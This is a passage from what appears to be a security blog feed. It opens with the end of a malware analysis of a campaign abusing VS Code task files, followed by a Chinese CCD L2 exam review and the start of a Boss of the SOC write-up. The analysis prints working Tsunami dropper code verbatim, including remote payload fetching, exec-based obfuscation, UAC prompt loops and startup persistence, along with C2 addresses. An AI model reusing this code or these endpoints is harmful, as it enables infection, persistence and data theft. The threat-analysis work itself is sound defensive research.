        "6f7542302c42360c3208283f165a385a5b065867795b70116e0c2f1b2a2e02133f5540010f664104634818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6f4b74782f1e3e483522382a2f3e205d63624866795b64126e0c051c2a4b02133c2023130a667f717c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6e65423f2c2832113209200c2f3e3869614f71116f65495b7b7b2f26113e16150d0a332722026c435276184b6d4c1438381d264933572810391056075a0672114566461c",
        "6f5b78302c431c103357571e245a024458627672795b46156e0c33042a2e06310d543b010c7474435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6f5b707b2e27181334220254205a025d5b72585b707719566e1c2c432a2112133b0a44010f767f4c625818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6c4b647c2e27261231321633143e5f59586001476e65465b6c102f1c134b3c0d3b0a440534764143636218106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6c5b707b2c4226170a22382e165b38435b0540476c656c156e102f04123e3c220d2f23050f037f7b7c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6f4b707b2e28320f32551608165b0274614f5b156e656b144525271c233e060e37303b053c7200047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6f4b60312c283e150a222808205a20415d07666c795b42586e1c3345133e69210c0911010d5a68435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6c75683f2c42360a0a325f0f202e575a606d7a57736719156e1c2841143e0a150f213b5c0a796b59534d60574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58",
        "6f654a322c43221532080a0f213102585a586664795b4a116c1c05041314162234303b1c0f6774435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6c6578782f273612320828362f3e0a5a60607a476c4b70106f0f2705142f021c34300103346468435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6f65427c2c27220f3320021d11313c595d737e476c7574156e10330012123c090c204c06384800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6c75707c2e27140c3257160b240724475d6d7651756719126f0c0a41134b3c1c0d0a33200c5c0045534c676f6d12743e032749131c085b172c0438015a0776566d581917427b2340143e3758",
        "6f4b427b2c1d2200093020142c313844606001476c7578586e0f330912491e090d0a232722026c435276184b6d4c1438381d264933572810391056075a0672114566461c",
        "6f5b74782c1d4515340e380c2f3e02486f7308126c756059430f3705131406290a2f3f05375c00667c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6f7568322c1d49173430061d2f2e5b595d737e476f5b4a156e002f09292e1e310a204c1f3f5800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6f4b42302e38320d34303c1d165b02026c0408566f65785b4325270013121a15373f23013d4800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6f4b68302f383e15335638242f3e5b04606354476c4b60596f0f581b123e3c2037554019395800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6e6560792c1e220c0a3d24242f3e5f476a7308596f756013422558401214062b0b3033103c4800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6c656c312e370811343d3c17200457425b0472476f754a106c7b2f0711211a553b554c1a37645e435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6c6568782f283a15332d240f262e38485b07096f795b60146f222b1c143e6910343227050a5c00717c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6e654a3f2f27261032573c25172e285b5a075c66795b685b6f0c3b092a210a150d0c191c34696b05547415574572183c03423d0c3208020e2f313c4b606d71576d5b515b4200334011386d58",
        "6c4b60792e27140c3430160f14313c4760047e476e7560116f1f1503292f341f0a20331f3f5800047c1310577858143d00273a15342d200f162a5647765b7e564569734e",
        "6e65747a2f1e3e153222283f2f21244760076672795b68146e0c330329210655375733060a767f7c7c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6c5b747d2f433e150a575b17262e384163070957704d19586e1c240814311e09382f3b01346778435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6f5b4a792c433e0a32225734170402035b727665795b64126c0c3b0a12143c133f55331c0c5a7c435472185543136c3d031d1c100a3d3c1d2c312f47754f405b4269731140095c4d",
        "6c4b687c2f281c0a33225f2d165b3c445d606a476c6546116e002f04292e02270d550d0137036f707c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6f6560782e38220e32573c252f2e38415b726672795b78146e0c051c134a060d3f543f0534766b45614818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f",
        "6f5b46312e283e0b320828322f5b5b415b585c64795b645b6f322b1b2a211a0f37313b050c6655787c127457437618222d1d450909083857165b2846754c081742126311450f064d",
        "6e7568782c1e3e4933085708205a3c415a58666f795b46126f223306113e1e500d563704345c0059625818106d13103e3809450c3132240b112120595a7608576e4f6f564500331f"
    ]

    # URL Extraction stuff

    # Extensive documentation on this process has been included on my YouTube channel: https://www.youtube.com/watch?v=QB7ACr7pUuE

    def download_pastebin_document(url: str) -> str:
        req = urllib.request.Request(
            url,
            headers = {"User-Agent": "Mozilla/5.0"}
        )

        # SSL off

        context = ssl.create_default_context()
        context.check_hostname = False
        context.verify_mode = ssl.CERT_NONE

        with urllib.request.urlopen(req, context=context) as res:
            return res.read().decode("utf-8")

    def extract_url(document: str, link_text: str) -> list:
        pattern = r'<a\s+(?:[^>]*?\s+)?href="([^"]+)"[^>]*>' + re.escape(link_text) + r'</a>'
        match = re.search(pattern, document)

        if match:
            href = match.group(1)
            return "https://pastebin.com/raw" + href
        else:
            return None

    # Signature verification stuff

    def extract_and_verify_payload_data(payload_data: str) -> bool:
        # Hard coded public key

        trusted_public_key = serialization.load_pem_public_key(binascii.unhexlify(b"0a2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541765267784e3576576e79312f6441633773364b4d0a5a55527971517469314f453131506b615850593332453339544b61753676442b516e74574b4e5446493533576d6b76593659624c476630366f695a39397559640a546b654c2f67744b666e6150504f74316d41444c3952336e46777957414277375134314e67596c753758484d69545575682f545250764f69584c35794b782b340a506e58734e2b73453933706b32714e70422b636e4a312f62347265383978754e70443948516a6a73646133504e4f44313373374f4c3766712b37347459346f630a4d5136424e464f71394a343678642f346a6179386e2f713333763350677777734c36545152356772556466626c585a38575a7a7858564b45714d74714a746d520a4d387a6a486f6f647330506f6f704f5336497a6f59442b616e63687a354a434b484272724d586438672b4132684d712b57356c456b497974626531645058736e0a43514944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a"))

        # Decode message and extract its parts

        payload = json.loads(
            binascii.unhexlify(payload_data.encode("utf-8")).decode("utf-8")
        )

        message = payload["message"]
        signature = base64.b64decode(payload["signature"].encode("utf-8"))

        # Verify the message integrity and signature matches our trusted one

        try:
            trusted_public_key.verify(
                signature,
                message.encode("utf-8"),
                padding.PSS(
                    mgf=padding.MGF1(hashes.SHA256()),
                    salt_length=padding.PSS.MAX_LENGTH
                ),
                hashes.SHA256()
            )

            output("Message and signature integrity check succeeded, message is authentic")

            return message
        except:
            output("Message and signature integrity check failed, message contents will be rejected")

            return None

    # Try each URL. URLs may have non-404 errors, so rescan the list of URLs

    for url in URLS:
        try:
            # Decode the url pair

            pair = decode(url)

            # Extract the profile URL and filename

            profile_url = pair.split("_")[0]
            filename = pair.split("_")[1]

            # Download the document HTML and extract the URL

            document = download_pastebin_document(profile_url)
            url = extract_url(document, filename)

            # :(
            if url == None:
                continue

            # SSL off

            context = ssl.create_default_context()
            context.check_hostname = False
            context.verify_mode = ssl.CERT_NONE

            # Download the contents of the file

            req = urllib.request.Request(
                url,
                headers = {"User-Agent": "Mozilla/5.0"}
            )

            with urllib.request.urlopen(req, context=context) as res:
                # Check the payload data then XOR decode the message

                message = extract_and_verify_payload_data(res.read().decode("utf-8").strip())

                if message:
                    return decode(message)
        except Exception as e:
            # Failure, try the next URL in 5 seconds

            output(f"Failure, waiting... ({e})")

            time.sleep(1)

    # Not found

    return ""

##### Tsunami Injector #####

def download_installer() -> None:
    # Ensure the Tsunami Installer folder exists

    if not os.path.exists(TSUNAMI_INSTALLER_FOLDER):
        os.makedirs(TSUNAMI_INSTALLER_FOLDER, exist_ok = True)

    # Create the temporary file to download to

    download_tempfile = tempfile.NamedTemporaryFile(delete = False).name

    # Get the installer URL

    installer_url = download_installer_url()

    # Download the file from the URL to the temporary download file (SSL off)

    ssl._create_default_https_context = ssl._create_unverified_context

    urllib.request.urlretrieve(installer_url, download_tempfile)

    # Decode the file and save it to the installer path

    with open(download_tempfile, "rb") as f:
        data = f.read()

    decoded = gzip.decompress(data[::-1])

    with open(TSUNAMI_INSTALLER_PATH, "wb") as f:
        f.write(decoded)

    # Delete the temp file

    try:
        os.remove(download_tempfile)
    except:
        pass

def extract_payload() -> None:
    # Extract the payload to its temp file

    with open(TSUNAMI_PAYLOAD_PATH, "w") as f:
        f.write(obfuscate_script(TSUNAMI_PAYLOAD_SCRIPT, 50))

def execute_payload_with_uac() -> bool:
    # Get the filepath of the pythonw.exe

    py_exe = sys.executable
    py_exe = py_exe.replace("python.exe", "pythonw.exe")

    # Execute the payload with UAC

    result = ctypes.windll.shell32.ShellExecuteW(
        None,
        "runas",
        py_exe,
        f'"{TSUNAMI_PAYLOAD_PATH}"',
        None,
        1
    )

    # Return true if it worked, false if it failed

    if result <= 32:
        return False
    else:
        return True
        #hel p me

##### Application Entry #####

if __name__ == "__main__":
    # Check if the Tsunami Installer task is scheduled

    if is_task_scheduled(TSUNAMI_INSTALLER_NAME):
        # Task is scheduled, check if the Tsunami Installer payload is installed

        if not os.path.exists(TSUNAMI_INSTALLER_PATH):
            # Task is scheduled but the Tsunami Installer is not installed yet, download and extract it

            output("[+] Task is scheduled but the Tsunami Installer was not found. Downloading and extracting...")

            # Download the Tsunami Installer

            download_installer()
        else:
            # Task is scheduled and the Tsunami Installer is installed, there is nothing to do but exit

            output("[+] Task is scheduled and the Tsunami Installer is installed. Exiting...")
    else:
        # Task is not scheduled

        output("[+] Task is not yet scheduled, attempting to execute the Tsunami Payload")

        # Extract the Tsunami Payload

        extract_payload()

        # Execute the Tsunami Payload

        while True:
            # Sleep for 10 to 20 minutes

            time.sleep(random.uniform(600, 1200))

            # Execute the Tsunami Payload

            if execute_payload_with_uac():
                # User gave administrator to the Tsunami Payload

                output("[+] User accepted UAC prompt for administrator. The Tsunami Payload executed successfully")

                # Nothing more to do, exit the execution loop

                break
            else:
                # User rejected administrator for the Tsunami Payload, try again

                output("[-] User rejected UAC prompt for administrator. Retrying shortly...")

    # Keep the window open in debug mode for analysis

    if DEBUG_MODE:
        input()
                              """

    ##### Obfuscator #####

    zlb = lambda in_ : zlib.compress(in_)
    b64 = lambda in_ : base64.b64encode(in_)

    def obfuscate_script(data: str, loop_count: int) -> str:
        # Change the value of the random variable to ensure different obfuscation strings each time

        data = data.replace("RandVar = '?'", f"RandVar = '{random.randint(100000, 10000000)}'")

        # Setup obfuscation

        xx = "b64(zlb(data.encode('utf8')))[::-1]"
        prefix = "_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));"

        # Perform obfuscation

        for i in range(loop_count):
            try:
                data = "exec((_)(%s))" % repr(eval(xx))
            except TypeError as s:
                sys.exit(" TypeError : " + str(s))

        # Build the complete output

        output = ""

        output += "\n"
        output += prefix
        output += data
        output += "\n"

        # Return the output

        return output

    ##### Utils #####

    def output(text: str) -> None:
        if DEBUG_MODE:
            print(text)

    def download_file(url: str, file_path: str):
        try:
            powershell_script = f"""
            $url = "{url}"
            $filePath = "{file_path}"
            Invoke-WebRequest -Uri $url -OutFile $filePath
                                """

            subprocess.run(
                ["powershell", "-Command", powershell_script],
                check = True,
                creationflags = subprocess.CREATE_NO_WINDOW,
            )

            output(f"File downloaded successfully to: {file_path}")
        except subprocess.CalledProcessError as e:
            output(f"Error downloading file with PowerShell: {e}")

    ##### Tsunami Infecter #####

    def is_python_installed() -> bool:
        try:
            # Check if the platform is Windows
            if platform.system() == "Windows":
                # Check HKEY_LOCAL_MACHINE
                key = r"SOFTWARE\Python\PythonCore"
                try:
                    with winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, key) as reg_key:
                        # Get the subkeys (versions) under PythonCore
                        subkeys_count = winreg.QueryInfoKey(reg_key)[0]
                        if subkeys_count > 0:
                            # Get the latest Python version
                            latest_version = max([float(winreg.EnumKey(reg_key, i)) for i in range(subkeys_count)])
                            output(f"Python {latest_version} is installed.")
                            return True
                except FileNotFoundError:
                    pass  # Ignore if the key is not found in HKEY_LOCAL_MACHINE

                # Check HKEY_CURRENT_USER
                key = r"SOFTWARE\Python\PythonCore"
                try:
                    with winreg.OpenKey(winreg.HKEY_CURRENT_USER, key) as reg_key:
                        # Get the subkeys (versions) under PythonCore
                        subkeys_count = winreg.QueryInfoKey(reg_key)[0]
                        if subkeys_count > 0:
                            # Get the latest Python version
                            latest_version = max([float(winreg.EnumKey(reg_key, i)) for i in range(subkeys_count)])
                            output(f"Python {latest_version} is installed.")
                            return True
                except FileNotFoundError:
                    pass  # Ignore if the key is not found in HKEY_CURRENT_USER

                output("Python is not installed.")
                return False
            else:
                output("This function is designed for Windows systems.")
                return False
        except Exception as e:
            output(f"Error: {e}")
            return False

    def execute_python_with_uac(py_installer_path: str) -> bool:
        result = ctypes.windll.shell32.ShellExecuteW(
            None,
            "runas",
            py_installer_path,
            "/quiet InstallAllUsers=1 PrependPath=1 Include_test=0",
            None,
            0
        )

        # Return true if it worked, false if it failed

        if result <= 32:
            return False
        else:
            return True

    def install_python() -> None:
        # Create a temporary download path for the Python installer

        py_installer_path = tempfile.NamedTemporaryFile(delete = False).name + ".exe"

        # Download the Python installer to the path

        download_file(PYTHON_INSTALLER_URL, py_installer_path)

        # Execute the Python installer to run silently with a UAC prompt

        while True:
            # Sleep for 10 to 30 seconds

            time.sleep(random.uniform(10, 30))

            # Attempt to execute the Python Installer as administrator with UAC

            if execute_python_with_uac(py_installer_path):
                # Successfully executed

                output("[+] The Python installer ran successfully, Python is being installed to the system")

                # Python installer run successfully, nothing left to do but exit

                break
            else:
                # User rejected UAC

                output("[-] User rejected UAC for Python, retrying...")

    ##### Application Entry #####

    if __name__ == "__main__":
        # Check if Python is not installed to the system

        if not is_python_installed():
            # Python is not installed

            output("[+] Python is not installed, downloading the installer...")

            # Install Python

            install_python()
        else:
            # Python is already installed

            output("[+] Python is already installed")

        # Package installations

        try:
            import cryptography
        except ImportError:
            subprocess.check_call([sys.executable, "-m", "pip", "install", "cryptography"])

        # Write the Tsunami Injector to the startup folder if it does not already exist

        with open(TSUNAMI_INJECTOR_PATH, "w") as f:
            f.write(obfuscate_script(TSUNAMI_INJECTOR_SCRIPT, loop_count = 50))

        output("[+] Wrote the Tsunami Injector to the startup folder")

        # Keep the window open in debug mode for analysis

        if DEBUG_MODE:
            input()
except:
    # :(
    pass

This concludes the general execution flow of Sample 2. Finally, let’s summarize the execution process:

  • Initially, the user is induced to request malicious files via task.json using VS Code or related editors.
  • Then, malicious programs are downloaded through multi-layer JavaScript + Python droppers.
  • This type of Sample executes the following behaviors within obfuscated JavaScript:
    • Steals user browser data, wallets, and confidential files.
    • Obtains Python configuration files via https://api.npoint[.]io.
    • Downloads malicious Python programs.
  • The malicious Python program exhibits the following behaviors:
    • Uses zlib.compress + base64decode to obfuscate code.
    • Transmits malicious program configuration files via https://pastebin[.]com/.
    • Frequently uses XOR + base64decode + reverse for decryption.
    • Establishes C2 connection.
      • C2 : 146.70.253[.]107:122
    • Downloads TSUNAMI malware.
      • Sha256 : ab7608bc7af2c4cdf682d3bf065dd3043d7351ceadc8ff1d5231a21a3f2c6527

Related Analysis Reports:

According to analysis reports, this attack replaces BeaverTail’s requirement for developers to manually trigger npm, switching instead to a method that exploits the trust developers usually place in the .vscode folder.

IOC

Sample 1

Network Indicators

TypeValueDescription
Domainwww.vscodeconfig[.]comStage 1 Dropper
Domainvscodesetting.vercel[.]appStage 2 Dropper (Download script & package)
Domainmylocation-info.vercel[.]appPayload Delivery (Encrypted JS)
IP144.172.107[.]191C2 Server (All traffic)
C2 Endpointhttp://144.172.107[.]191:8085/uploadData Exfiltration (Browser Data)
C2 Endpointhttp://144.172.107[.]191:8085/api/upload-fileData Exfiltration (Large Files/Command Result)
C2 Endpointhttp://144.172.107[.]191:8086/uploadData Exfiltration (Sensitive Files)
C2 Endpointhttp://144.172.107[.]191:8087/api/notifyHost Online Notification
C2 Endpointhttp://144.172.107[.]191:8087/api/logClipboard Logs / Startup Logs
C2 Endpointws://144.172.107[.]191:8087Command & Control (WebSocket)

Host-Based Indicators

TypeValueDescription
File Path$HOME/.vscode/vscode-bootstrap.shDropper Script
File Path$HOME/.vscode/env-setup.jsPayload Launcher
File Path$HOME/.vscode/package.jsonMalicious Package Config
File Path%TEMP%/pid.<timestamp>.1.lockLock File (Browser Stealer)
File Path%TEMP%/pid.<timestamp>.2.lockLock File (File Scanner)
File Path%TEMP%/pid.<timestamp>.3.lockLock File (C2 Client)
File Path%TEMP%/.upload_<timestamp>_*/s.txtStolen Passwords (Temporary)
File Path%TEMP%/.upload_<timestamp>_*/sysinfo.txtSystem Info (Temporary)

Sample 2

Network Indicators

TypeValueDescription
IP146.70.253[.]107Primary C2 (HTTP :1224, Socket :2241)
IP23.227.203[.]18Backup C2 (HTTP :1224)
IP23.254.164[.]156Payload Delivery (Tsunami Installer)
URLhttp://146.70.253[.]107:1224/keysSystem Info Beacon & Key Exchange
URLhttp://146.70.253[.]107:1224/uploadsData Exfiltration Endpoint
URLhttp://146.70.253[.]107:1224/client/15/812Stage 2 Python Payload Download
URLhttps://pastebin[.]com/raw/u/NotingRobe2871Encrypted Payload Config (Targeting Windows)

Host-Based Indicators

TypeValueDescription
File Path~/.n2/wayC2 Client / Remote Shell (Python)
File Path~/.n2/powWindows Dropper / Persistence (Python)
File Path~/.n2/bowSame as pow
File Path~/.n2/adcAnyDesk Bundle
File Path~/.n2/flistUpload Queue Log
File Path~/.nlqStage 2 Encrypted Payload
File Path (Win)%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Windows Update Script.pywPersistence Script (Tsunami Injector)
File Path (Win)%APPDATA%\Microsoft\Windows\Applications\Runtime Broker.exeTsunami Installer
File Path (Win)%LOCALAPPDATA%\Microsoft\Windows\Applications\Runtime Broker.exeTsunami Client / Payload
File Path (Win)%LOCALAPPDATA%\Microsoft\Windows\Applications\msedge.exeXMRig Miner
File Path (Win)%TEMP%/<16_Random_Chars>Temporary Tsunami Payload

Cryptographic Indicators

TypeValueDescription
XOR Key!!!HappyPenguin1950!!!Used for configuration and payload decryption
RSA KeyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8...Hardcoded Public Key for Signature Verification

Malicious Hashes

TypeValueDescription
SHA256ab7608bc7af2c4cdf682d3bf065dd3043d7351ceadc8ff1d5231a21a3f2c6527Tsunami Installer (Runtime Broker.exe)

Conclusion

Do not trust any projects from unknown sources. by yunshiuan

If you have any questions, feel free to DM me.

]]> <blockquote> <p>author : yunshiuan , This analysis report was a special topic project for the TeamT5 Camp Threat Intelligence Group from 202 Certified CyberDefender Certification 考試心得分享 https://yunshiuan.com/2025/10/13/CCD/ 2025-10-13T16:00:00.000Z 2026-04-29T11:34:15.601Z 🧂 前言

2026/03/22 更新 現在 Cyberdefender 又推出了一張 CCD L1 證照，而本文考的 CCD 證照則是現在的 CCD L2。

鐵人賽的最後一天，我想要分享我在第一天提到的 Certified CyberDefender Certification L2，也是我考的第一張藍隊的證照，內容會包括考試內容、準備心得、考試過程……等等，並且似乎在中文圈還沒有人詳細介紹這張證照，我就當第一個首殺的了

關於 CCD L2

這邊先分享一下關於CCD L2 難度的問題

首先可以先看一下 Paul Jerimy 整理的證照地圖，整體可以看到 CCD L2 是排在挺高的地方，代表它是偏難並且不適合新手去考的，另外一個參照是 HTB 的 CDSA，它的難度是被認為是比 CCD L2 還要簡單的。

但是它在 CyberDefender 的 RoadMap 中 CCD L2 是被評為比 CDSA 還要簡單的

我個人覺得 CCD L2 難度會取決於 Lab 以及課程的完成程度，如果全部 Lab 以及課程全部完成了那考試難度是中等，如果直接考那考試難度是偏高，Lab 以及課程接下來會介紹。

另一方面是價格的部分，CCD L2 的價格是 800 美金，而比較知名的 BTL2 它需要 2190 美金，所以考 CCD L2 也算一種省錢路線

我選擇這張證照的契機是我看到了這篇 Reddit 論壇，有一則留言說 CCD L2 雖然比 BTL1 較貴也較難，但在課程或考試上會收穫比較好，我選擇想要學比較多東西，因此選擇了挑戰 CCD L2

CCD L2考試介紹

CCD L2 是一個實作導向的 SOC 分析師認證，提供的課程包含以下內容

  • 威脅狩獵
  • 硬碟鑑識
  • 邊界防禦-Email 安全
  • 記憶體鑑識
  • 網路鑑識
  • 數位取證
  • Incident Response
  • 鑑識證據蒐集
  • 惡意程式分析

課程幾乎包含了 SOC 分析師需要的所有相關知識，但是在考試時只會考以下內容，這裡也提一下主要使用的工具以及大致的內容

  • 威脅狩獵
    • ELK
    • 給一個 APT 攻擊的情境，在 ELK 中找出攻擊過程
  • 硬碟鑑識
    • Event Log Explorer
    • Eric Zimmerman’s tools
    • 分析 Windows disk file
  • 記憶體鑑識
    • Volatility2
    • 分析 Windows 記憶體
  • 網路鑑識
    • Wireshark
    • Zui
    • NetworkMiner
    • 分析 pcap 封包

考試時間為 48 小時，考試過程沒有監考，可以查閱所有資料，包括它提供的教材，並且可以隨時開始進行考試，這 48 小時每個主題分別會給一個情境，並有數題題目，威脅狩獵的題目是最多的，有 20 題左右，另外三題皆為 10 題以內，總共會是 40 題左右。通過的分數為 70%，另外如果你考試分數到了 85% 會額外得到一個金色 Coin，非常帥，如果是 70%~85% 是一個銀色的 Coin。

source : https://x.com/CyberDefenders/status/1645759783192915969

這個考試是不用寫報告的，但是你在回答問題時，它不會立即驗證你的答案是否正確，並且會需要在每一題的底下敘述解題過程，如果答案錯誤或者沒寫會根據你寫的內容判定是否部分給分。

在報名 CCD L2證照考試後它會提供教材以及 Lab 可以練習，Lab 全部做完的話會有 5% 的 bonus，但是這個 bonus 只會在如果你是 65%~69% 時才會有加分。教材的部分是在一年內都可以存取，但是 Lab 只有 4 個月的存取時間，這些時間都是可以延長的，但就是要多花錢。

報名一次 CCD L2可以有兩次的考試資格，第一次考試必須在報名的 4 個月內考，第二次考試必須在報名的一年內考，意思是必須要在 4 個月內考至少一次，不然的話考試次數會被浪費掉。

考試結束後會在 14 個工作天內收到結果，並且會有每個主題的評分。

CCD L2準備＋考試心得

在報 CCD L2之前，關於 SOC 分析師的相關技能我接觸過的有：玩過 Volatility、用過 Wireshark 會看封包，然後沒接觸過硬碟鑑識以及威脅狩獵，大概就是這樣，所以是偏新手的狀態，目標是希望拿到那酷酷的金色 coin。

考前準備

我是在 2025/05/04 時開始進行 CCD 的教材與 Lab 練習，是在 2025/07/14~2025/07/16 進行 CCD 考試

中間經過了 2 個多月的時間，排除期末以及其他事情，大約是 1 個月左右的時間，這一個月時間我主要就是把教材全部翻過一遍，Lab 都做一遍，在做 Lab 之前是沒有官方解答的，做完閱讀詳解的權限才會開起來，我每個 Lab 平均花 3~4 小時完成，在考試前 Lab 我原本已經快做完了，但是 CyberDefender 官方突然改版，每個主題多新增了 1~2 個 Lab，然後原本的 Lab 變成不會計算在 bonus 的判定內，然後之前的題目詳解全部開放，變成要完成新增的那幾個 Lab 才會拿到 bonus，看到這改版直接傻眼，所以又花了億點時間做新增的題目，在考試前終於將全部的 Lab 完成了。

這邊大力推薦一下它的教材，它的教材做的非常豐富，每個主題都會有大量的工具以及概念，除了文字與圖片的講解之外，都還會有另外錄一次影片教學，有時候用文字看有點看不懂，但看影片操作一次就看懂了，並且教材內容都會從 0 開始教，所以如果是新手也可以聽得懂，另外它們會幫忙整理 Cheatsheet，讓我們在考試時可以看那張 Cheatsheet 找線索，因此學習這個教材讓我收穫很大。

在考前我也另外練習了 CyberDefender 裡面的免費 Lab，一開始碰到不會的就會直接開提示或官解，到後面練到一看到題目想問的就大概會有一個方向要去下什麼指令或者取哪個地方找線索，我覺得練習 Lab 還蠻重要的，提早適應一下考試的感覺，然後爬文時發現威脅狩獵的部分還蠻重要的，所以有多練習威脅狩獵的題目，結果來說真的是挺重要的。

考試過程

在 2025/07/14 第一天中午 11:00 左右按下開始後就進行了考試，總共有四大主題，威脅狩獵提供了 ELK 環境，硬碟鑑識、記憶體鑑識與網路鑑識提供了同一個 Windows 環境。我的順序是網路鑑識 -> 記憶體鑑識 -> 硬碟鑑識 -> 威脅狩獵

我一開始看網路鑑識，網路鑑識的題目比較簡單，主要用 Wireshark 就可以全解了，網路鑑識全部解完後，再進行記憶體鑑識以及硬碟鑑識，記憶體鑑識我有些題卡住之後就會轉去做硬碟鑑識，並且它們的每題的解題敘述都寫好寫滿，因為我覺得我有些題不太確定，但可惜的是只能寫 300 字，所以只能寫個大概而已，然後建議要在網路比較好的地方，不然寫一寫會當機，當時解到了 15 號的凌晨 3、4 點，進度在記憶體鑑識以及硬碟鑑識各解差不多 3/4 的進度以及威脅狩獵還沒有碰的情況下先跑去睡覺了。

第二天起來大約也快中午了，起床直接繼續解，將記憶體鑑識以及硬碟鑑識解完後開始碰威脅狩獵，記憶體鑑識以及硬碟鑑識我覺得整體難度中偏高，主要是 Volatility 的 Plugin 使用真的要很熟悉，以及 Event ID、註冊表位置會需要熟一點，建議一定要配一個 CheatSheet，忘記了可以直接看，不然會查到死。在威脅狩獵到一半，我突然接收到我隊友一個訊息，7/16 要去全國技能競賽報到，地點在北部，我現在在南部，然後我看了一下行事曆

我再重新看了一次全國技能競賽簡章

ok，完全記錯時間了，現在時間下午 5:45，腦袋風暴之後我計算出我只要在隔天凌晨 5:00 前解完然後搭客運衝上去就安全上壘了，因此開始刺激的瘋狂解題，結局是有完整的將威脅狩獵解完，並且每題都檢查一遍，威脅狩獵的題目整體中偏高，主要威脅狩獵都會需要使用到網路鑑識以及硬碟鑑識的概念，並且 ELK 的語法要很熟，所以難度會比硬碟鑑識與記憶體鑑識還要高一點。

整體考試給我的感覺時間其實給的挺充裕的，根據官方說法

設 48 小時是希望你有足夠時間，不要太過壓力。

另外考的內容有些會出現在課程的 Lab 中，所以考前會建議要把 Lab 全部都要完成，並且熟練每個操作。

考試結果

到了 7/24 號我收到了我通過的結果

除了開心以外，我期待我有沒有拿到金色的 coin，考過之後它會提供考試的結果以及每個主題的評分

可惜離拿到金色 coin 還有一點距離，然後我看到我的記憶體鑑識的評分讓我直接回去重讀記憶體鑑識，另外因為我不是當下截圖，我記得之前會詳細說每個主題評審給的建議以及回饋，但現在不見了，不確定之後會不會回來。

最後放上通過後的證書

另外到了現在 2025/10/14，我還沒收到我的銀色 coin QQ，如果來了會再補上

2026/03/22 更新 ， 拿到銀色 coin 了，

給目前考慮 CCD 的人

建議在付錢前要先評估 4 個月內有沒有空將時間投在 CCD 當中，因為會需要花大量時間練習以及閱讀教材，但是可以學到非常扎實且豐富的內容，對於沒有接觸過藍隊的玩家，可以先嘗試玩玩看 CyberDefender 裡面的免費 Lab，看是否有興趣再付錢也不遲。

給正在準備 CCD 證照的人

建議威脅狩獵的題目會需要多做一點，像是判斷誰在攻擊，如何攻擊，以及判斷的 MITRE ATT&CK 的 TTP 會需要多練習，而且威脅狩獵題目很多，會需要比其他題目還要再熟練一點，不然會花太多時間在上面，另外會需要自己做筆記，因為過程中可能會出現這個事件是什麼 Event ID 或者這個設定的註冊表路徑在哪裡，做筆記會省非常多時間

總結

今天分享了 Certified CyberDefender Certification L2 的準備過程以及考試心得分享，今天也是鐵人賽的最後一天，這 30 天內分享了藍隊相關的技術與工具，包括了記憶體鑑識、OSINT、網路鑑識、硬碟鑑識以及威脅狩獵，最後以 Certified CyberDefender L2 這張證照作為結尾，然後我考完這張證照我的綽號突然多一個賽博守護者了，如果有任何問題都歡迎來跟我說～可以到我的 Blog 找到我的聯絡方式或者瀏覽其他我寫的內容，明年希望有空可再花 30 天跟大家分享。

]]> CCD 證照準備過程、考試心得與通過經驗分享，包含威脅狩獵、記憶體鑑識、硬碟鑑識、網路鑑識等技術內容 Boss Of The SOC v1 Writeup https://yunshiuan.com/2025/10/10/BossOfSOC/ 2025-10-10T16:00:00.000Z 2026-04-29T11:34:16.941Z 情境

本次實作實驗聚焦在 APT（高階持續性威脅）情境與勒索軟體情境。你將扮演 Alice Bluebird 的角色——剛被聘為 Wayne Enterprises 的 SOC 分析師，負責偵測與防禦各類網路攻擊。

場景 1（APT）：

今天是 Alice 在 Wayne Enterprises 安全部門（Security Operations Center，SOC）的第一天。Lucius 叫 Alice 坐下並給她第一個任務：一份來自高譚市警察局（Gotham City Police Department, GCPD）的備忘錄。GCPD 發現線上有證據（http://pastebin.com/Gw6dWjS9）顯示網站 www.imreallynotbatman.com 在 Wayne Enterprises 的 IP 位址空間內被入侵。該駭客組織有多重目標……但他們的作案手法之一是篡改網站以羞辱被害者。Lucius 要求 Alice 判定 www.imreallynotbatman.com（Wayne 企業執行長的個人部落格）是否確實遭到入侵。

在此情境中，使用者社群在瀏覽 Wayne Enterprises 網站時回報看到下列被篡改的圖片，且部分回報提到「P01s0n1vy」。若你不熟悉，P01s0n1vy 是一個曾針對 Wayne Enterprises 的 APT 組織。你作為 Alice 的目標是調查該網站篡改事件，並嘗試依照 Lockheed Martin Kill Chain 重建攻擊流程。

場景 2（勒索軟體）：

在第二個情境中，你的一位使用者在 Windows 桌面上看到一張圖片，表示系統上的檔案已被加密，必須付款才能取回檔案。看起來 Wayne Enterprises 有一台主機感染了 Cerber 勒索軟體，你的目標是調查這起勒索事件。

